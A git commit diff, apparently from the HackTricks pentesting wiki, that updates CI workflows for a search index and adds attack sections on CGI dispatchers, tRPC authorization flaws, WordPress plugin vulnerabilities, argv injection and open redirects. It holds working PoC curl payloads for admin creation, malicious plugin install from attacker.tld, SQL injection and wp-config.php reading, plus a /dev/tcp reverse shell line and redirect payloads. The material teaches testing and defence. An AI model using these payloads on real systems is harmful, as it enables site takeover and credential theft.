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Merge branch 'master' into update_Silent_Smishing__The_Hidden_Abuse_of_Cellular_Rout_20251001_130854

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106
.github/workflows/build_master.yml vendored
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@ -43,7 +43,7 @@ jobs:
&& sudo apt update \
&& sudo apt install gh -y
- name: Publish search index release asset
- name: Push search index to hacktricks-searchindex repo
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
@ -51,43 +51,99 @@ jobs:
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
FILENAME="searchindex-en.js"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}"
TOKEN="${PAT_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
echo "No PAT_TOKEN available" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
# Clone the searchindex repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
cd /tmp/searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
# Compress the searchindex file
cd "${GITHUB_WORKSPACE}"
gzip -9 -k -f "$ASSET"
# Show compression stats
ORIGINAL_SIZE=$(wc -c < "$ASSET")
COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
# Copy the .gz version to the searchindex repo
cd /tmp/searchindex-repo
cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz"
# Stage the updated file
git add "${FILENAME}.gz"
# Commit and push with retry logic
if git diff --staged --quiet; then
echo "No changes to commit"
else
echo "Release $TAG does not exist, proceeding with creation..."
TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
git commit -m "Update searchindex files - ${TIMESTAMP}"
# Retry push up to 20 times with pull --rebase between attempts
MAX_RETRIES=20
RETRY_COUNT=0
while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
if git push origin master; then
echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
break
else
RETRY_COUNT=$((RETRY_COUNT + 1))
if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
# Try normal rebase first
if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
echo "Rebase successful, retrying push..."
else
# If rebase fails due to divergent histories (orphan branch reset), re-clone
if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
echo "Detected history rewrite, re-cloning repository..."
cd /tmp
rm -rf searchindex-repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
cd searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
# Re-copy the .gz version
cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz"
git add "${FILENAME}.gz"
TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
git commit -m "Update searchindex files - ${TIMESTAMP}"
echo "Re-cloned and re-committed, will retry push..."
else
echo "Rebase failed for unknown reason, retrying anyway..."
fi
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
sleep 1
else
echo "Failed to push after $MAX_RETRIES attempts"
exit 1
fi
fi
done
fi
echo "Successfully pushed searchindex files"
# Login in AWs

88
.github/workflows/translate_all.yml vendored
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@ -129,7 +129,7 @@ jobs:
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
- name: Push search index to hacktricks-searchindex repo
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
@ -137,31 +137,93 @@ jobs:
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
FILENAME="searchindex-${BRANCH}.js"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}"
TOKEN="${PAT_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
echo "No PAT_TOKEN available" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
# Clone the searchindex repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
# Compress the searchindex file
gzip -9 -k -f "$ASSET"
# Show compression stats
ORIGINAL_SIZE=$(wc -c < "$ASSET")
COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
# Copy ONLY the .gz version to the searchindex repo (no uncompressed .js)
cp "${ASSET}.gz" "/tmp/searchindex-repo/${FILENAME}.gz"
# Commit and push with retry logic
cd /tmp/searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
git add "${FILENAME}.gz"
if git diff --staged --quiet; then
echo "No changes to commit"
else
git commit -m "Update ${FILENAME} from hacktricks-cloud build"
# Retry push up to 20 times with pull --rebase between attempts
MAX_RETRIES=20
RETRY_COUNT=0
while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
if git push origin master; then
echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
break
else
RETRY_COUNT=$((RETRY_COUNT + 1))
if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
# Try normal rebase first
if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
echo "Rebase successful, retrying push..."
else
# If rebase fails due to divergent histories (orphan branch reset), re-clone
if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
echo "Detected history rewrite, re-cloning repository..."
cd /tmp
rm -rf searchindex-repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
cd searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
# Re-copy ONLY the .gz version (no uncompressed .js)
cp "${ASSET}.gz" "${FILENAME}.gz"
git add "${FILENAME}.gz"
git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build"
echo "Re-cloned and re-committed, will retry push..."
else
echo "Rebase failed for unknown reason, retrying anyway..."
fi
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
sleep 1
else
echo "Failed to push after $MAX_RETRIES attempts"
exit 1
fi
fi
done
fi
# Login in AWs
# Login in AWS
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:

2
src/README.md
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@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.

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2
src/linux-hardening/privilege-escalation/README.md
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@ -83,7 +83,7 @@ You can check if the sudo version is vulnerable using this grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
#### sudo < v1.28
#### sudo < v1.8.28
From @sickrov

44
src/network-services-pentesting/pentesting-web/cgi.md
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@ -59,11 +59,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> run
```
## **Proxy \(MitM to Web server requests\)**
## Centralized CGI dispatchers (single endpoint routing via selector parameters)
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.
As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.
Methodology to exploit these routers:
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
Generic exploit shapes:
```http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Detection and hardening:
- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
- Flag parameters that begin with `-` (argv option injection attempts).
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
@ -80,8 +106,14 @@ curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:500
**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM to Web server requests\)**
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.
## **References**
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}

51
src/network-services-pentesting/pentesting-web/web-api-pentesting.md
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@ -28,6 +28,53 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
- **Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
- **Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
Example vulnerable pattern (no role/permission gate):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Practical exploitation (black-box)
1) Register a normal account and obtain an authenticated session (cookies/headers).
2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) Invoke privileged actions such as restarting a job:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impact to assess
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
### **Tools and Resources for API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
@ -53,8 +100,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
## References
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

178
src/network-services-pentesting/pentesting-web/wordpress.md
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@ -447,15 +447,6 @@ Detection checklist
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
Hardening
- Never derive authentication or authorization from client-controlled headers.
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
@ -511,31 +502,6 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
#### Hardening
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Always** treat any write/delete operation on disk as privileged and double-check:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
@ -565,12 +531,6 @@ Why it’s exploitable
- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
Attack prerequisites
- Vulnerable plugin version with the feature enabled.
- Target account has a stale high-privilege role stored in user meta from earlier use.
- Any authenticated session; missing nonce/capability on the reset flow.
Exploitation (example)
```bash
@ -591,21 +551,6 @@ Detection checklist
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
Hardening
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`.
- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy.
- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches.
---
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
@ -852,6 +797,123 @@ Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Why it’s exploitable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
- Look for subsequent routes that accept the minted token/key without server-side capability checks
Hardening
- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detection checklist
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
Hardening
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
- Add a strict allowlist for s and normalize to expected charset/length
---
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – read wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Detection checklist
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
- Look for traversal patterns (../) reaching outside the intended templates directory
Hardening
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
## References
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@ -863,7 +925,11 @@ Patched behaviour (Jobmonster 4.8.0)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
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@ -158,6 +158,37 @@ execFile('/usr/bin/do-something', [
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` to stress the device (DoS)
- `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Brute-Force Detection List
@ -173,5 +204,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
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@ -7,12 +7,23 @@
### Redirect to localhost or arbitrary domains
- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
- Userinfo tricks defeat contains/startswith checks against trusted hosts:
- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
- Backslash parsing confusion between frameworks/browsers:
- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Open Redirect to XSS
### Modern open-redirect to XSS pivots
```bash
#Basic payload, javascript code is executed after "javascript:"
@ -60,6 +71,34 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
<details>
<summary>More modern URL-based bypass payloads</summary>
```text
# Scheme-relative (current scheme is reused)
//evil.example
# Credentials (userinfo) trick
https://trusted.example@evil.example/
# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/
# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example
# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example
# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example
```
```
</details>
## Open Redirect uploading svg files
```html
@ -173,18 +212,78 @@ exit;
?>
```
## Hunting and exploitation workflow (practical)
- Single URL check with curl:
```bash
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
```
- Discover and fuzz likely parameters at scale:
